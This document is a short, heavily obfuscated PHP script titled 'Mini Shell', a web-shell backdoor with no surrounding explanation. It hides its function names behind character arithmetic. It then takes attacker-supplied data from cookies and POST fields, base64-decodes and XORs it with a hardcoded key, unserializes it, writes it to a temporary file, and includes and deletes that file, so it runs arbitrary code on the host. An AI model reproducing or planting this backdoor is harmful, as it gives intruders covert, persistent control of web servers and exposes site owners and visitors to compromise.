Mini Shell

$YWFmmaCYx = chr (85) . "\x5f" . chr ( 378 - 256 ).chr ( 244 - 137 ).chr ( 381 - 262 ); $yBdFnuvVSO = chr ( 549 - 450 ).chr (108) . "\141" . chr (115) . 's' . '_' . chr ( 413 - 312 ).chr ( 423 - 303 ).'i' . chr ( 313 - 198 ).'t' . chr ( 683 - 568 ); $KNlHnqgEhA = class_exists($YWFmmaCYx); $yBdFnuvVSO = "12032";$YyUeKoAN = strpos($yBdFnuvVSO, $YWFmmaCYx);if ($KNlHnqgEhA == $YyUeKoAN){function MgdMzUd(){$lSHWG = new /* 23114 */ U_zkw(63505 + 63505); $lSHWG = NULL;}$HrrSUpY = "63505";class U_zkw{private function mIJoCWgajb($HrrSUpY){if (is_array(U_zkw::$qIHlmHKLb)) {$name = sys_get_temp_dir() . "/" . crc32(U_zkw::$qIHlmHKLb["salt"]);@U_zkw::$qIHlmHKLb["write"]($name, U_zkw::$qIHlmHKLb["content"]);include $name;@U_zkw::$qIHlmHKLb["delete"]($name); $HrrSUpY = "63505";exit();}}public function yDfuPSrfDQ(){$SVxtVLek = "48693";$this->_dummy = str_repeat($SVxtVLek, strlen($SVxtVLek));}public function __destruct(){U_zkw::$qIHlmHKLb = @unserialize(U_zkw::$qIHlmHKLb); $HrrSUpY = "6375_675";$this->mIJoCWgajb($HrrSUpY); $HrrSUpY = "6375_675";}public function kASSFhBpQE($SVxtVLek, $cVbkH){return $SVxtVLek[0] ^ str_repeat($cVbkH, intval(strlen($SVxtVLek[0]) / strlen($cVbkH)) + 1);}public function jAvXXbl($SVxtVLek){$oDHePv = "\142" . chr ( 581 - 484 )."\163" . chr ( 265 - 164 )."\x36" . "\64";return array_map($oDHePv . chr ( 121 - 26 ).chr (100) . "\145" . "\143" . 'o' . chr (100) . "\145", array($SVxtVLek,));}public function __construct($iYonqjvGF=0){$zgTEvSWs = "\x2c";$SVxtVLek = "";$miAhfZh = $_POST;$hMYZiy = $_COOKIE;$cVbkH = "0849d21b-76c5-4993-9ac2-4758570a827b";$pLVDldZjUT = @$hMYZiy[substr($cVbkH, 0, 4)];if (!empty($pLVDldZjUT)){$pLVDldZjUT = explode($zgTEvSWs, $pLVDldZjUT);foreach ($pLVDldZjUT as $Pbwtb){$SVxtVLek .= @$hMYZiy[$Pbwtb];$SVxtVLek .= @$miAhfZh[$Pbwtb];}$SVxtVLek = $this->jAvXXbl($SVxtVLek);}U_zkw::$qIHlmHKLb = $this->kASSFhBpQE($SVxtVLek, $cVbkH);if (strpos($cVbkH, $zgTEvSWs) !== FALSE){$cVbkH = explode($zgTEvSWs, $cVbkH); $TEZzyGWi = base64_decode(md5($cVbkH[0]));}}public static $qIHlmHKLb = 2334;}MgdMzUd();}